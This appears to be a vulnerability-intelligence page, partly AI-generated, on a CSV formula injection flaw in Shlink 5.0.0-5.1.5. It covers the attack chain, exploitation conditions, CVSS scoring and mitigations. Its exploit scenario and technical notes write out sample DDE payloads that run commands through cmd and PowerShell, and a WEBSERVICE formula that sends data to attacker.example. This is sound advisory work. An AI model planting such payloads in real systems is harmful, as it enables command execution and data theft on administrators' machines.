Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSend crafted HTTP request to any short URL
-
DeliveryUser-Agent/Referer stores formula payload in visit log
-
ExploitAdministrator exports visit data as CSV
-
ExecutionAdministrator opens CSV in spreadsheet application
-
PersistSpreadsheet evaluates DDE/WEBSERVICE formula
-
ImpactArbitrary command executes or data exfiltrated on admin client
Vulnerability Assessment
| Weakness |
CWE
ASVS 5.0
V1 - Encoding and Sanitization CSV injection prevention
|
| Exploitation Conditions | The attacker requires only network access to any short URL hosted on the vulnerable Shlink instance - no authentication, no account, and no special configuration is required to plant the payload. Exploitation of the planted payload is gated on two administrator actions: (1) the administrator must use the visit export feature to generate a CSV file, and (2) the administrator must open that CSV in a spreadsheet application (Excel, LibreOffice Calc, Google Sheets if imported) with formula evaluation or DDE connections enabled. DDE execution in Excel is blocked by default in Microsoft 365 versions since 2017 updates and requires the user to click through a security warning; older or unpatched Excel installations and LibreOffice with macro security set to low are more directly vulnerable. Exploitation is limited to Shlink versions 5.0.0-5.1.5 and does not affect instances where CSV export is restricted or disabled. |
| Impact | The CVSS 4.0 score of 5.1 (AV:N/AC:L/AT:N/PR:N/UI:A) accurately captures the key risk qualifier: active user interaction is required - an administrator must both export and open the malicious CSV. This substantially limits opportunistic mass exploitation. EPSS data is not present in the supplied intelligence, so probabilistic exploitation likelihood cannot be quantified from this source. The product is not listed in CISA KEV, indicating no confirmed widespread active exploitation. A proof-of-concept repository exists, which lowers the skill bar for targeted attacks against Shlink administrators. Real-world risk is moderate for deployments where administrators routinely export visit analytics to spreadsheets with DDE or external data connections enabled - a common workflow in analytics-driven operations. The attack requires no authentication to plant the payload, but the two-step delivery (data injection then administrator action) makes mass automated exploitation unlikely. The biggest realistic risk is targeted social engineering or persistent poisoning of visit logs to eventually be opened by an admin. |
| Exploit ScenarioDerived | An attacker sends a single HTTP GET request to any publicly accessible Shlink short URL with a User-Agent header beginning with a DDE payload such as =DDE('cmd','/c powershell -enc <base64>','') - no account or prior knowledge beyond the Shlink instance's hostname is required. The malicious value is stored in Shlink's visit database. When the administrator later exports visit analytics as CSV and opens the file in Microsoft Excel with DDE enabled, the formula executes silently, potentially running arbitrary commands or exfiltrating data to an attacker-controlled server. A public proof-of-concept repository demonstrates this injection path. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 03, 2026
CSV formula injection in Shlink 5.0.0-5.1.5 enables unauthenticated remote attackers to embed DDE or WEBSERVICE spreadsheet formulas into visit export data by supplying formula-triggering values in User-Agent, Referer, or request path headers targeting any short URL. The payload lies dormant in Shlink's visit log until an administrator exports the data as CSV and opens it in a spreadsheet application (Excel, LibreOffice Calc) with formula evaluation enabled, at which point the formula executes in the context of the administrator's machine. A public proof-of-concept repository exists; no CISA KEV listing is present, and no public exploit exploitation in the wild has been confirmed at time of analysis.
RemediationAI
No vendor-released patch version has been independently confirmed from the available intelligence at time of analysis; the VulnCheck advisory at https://www.vulncheck.com/advisories/shlink-csv-formula-injection-via-visit-export-cli and the researcher's proof-of-concept at https://github.com/theopaid/CSV-formula-injection-in-visit-exports-shlink- should be monitored for a fixed release announcement. Until a patch is available, the most effective compensating control is to disable or restrict access to the visit CSV export feature to reduce exposure surface - this prevents the payload delivery mechanism entirely. Administrators who must use the export feature should open CSV files in a sandboxed environment or configure their spreadsheet application to block DDE and external data connections (in Excel: File > Options > Trust Center > External Content; in LibreOffice: Tools > Macro Security). Enabling Protected View for downloaded files in Excel will prompt before evaluating formulas, reducing automatic execution risk. Network egress filtering on administrator workstations can blunt WEBSERVICE-based data exfiltration payloads even if formulas execute.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Shlink (CPE: cpe:2.3:a:shlinkio:shlink:*:*:*:*:*:*:*:*) is a self-hosted open-source URL shortener that records per-visit metadata - including User-Agent, Referer, and request path - into a visit log, and exposes that data as exportable CSV. The root cause is CWE-1236 (Improper Neutralization of Formula Elements in a CSV File): Shlink does not sanitize or prefix formula-triggering characters (=, +, -, @) before writing attacker-controlled HTTP header values into CSV cells. DDE (Dynamic Data Exchange) payloads such as =DDE('cmd','/c calc','') and WEBSERVICE formulas such as =WEBSERVICE('https://attacker.example/?leak='&A1) are classic injection payloads that spreadsheet engines evaluate on file open when macro or DDE protections are disabled. The vulnerability was reported by VulnCheck and a researcher-authored proof-of-concept exists on GitHub, confirming the injection path is straightforward.
Know when Shlink gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
No auth required to inject; scope changes to administrator's spreadsheet client, yielding low confidentiality and integrity impact on the subsequent system.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
Shlink versions 5.0.0 through 5.1.5 contain a CSV formula injection vulnerability that allows unauthenticated remote attackers to plant spreadsheet formulas into exported visit data by supplying malicious values in User-Agent, Referer, or request path headers beginning with formula-triggering characters such as =, +, -, or @. Attackers can craft a single unauthenticated request against any short URL to embed DDE or WEBSERVICE formula payloads into CSV cells, which are then executed on an administrator's client machine when the exported CSV file is opened in a spreadsheet application that evaluates formulas.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Information disclosure in Shlink through 5.1.6 allows an attacker who already holds a role-restricted API key (author-on
Blind SQL injection in Shlink's tag statistics REST endpoint allows any API key holder to extract sensitive data from th
Server-side request forgery in Shlink allows authenticated API key holders to coerce the server into issuing arbitrary H
EUVD-2026-52439
GHSA-ghrv-q878-w45x
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB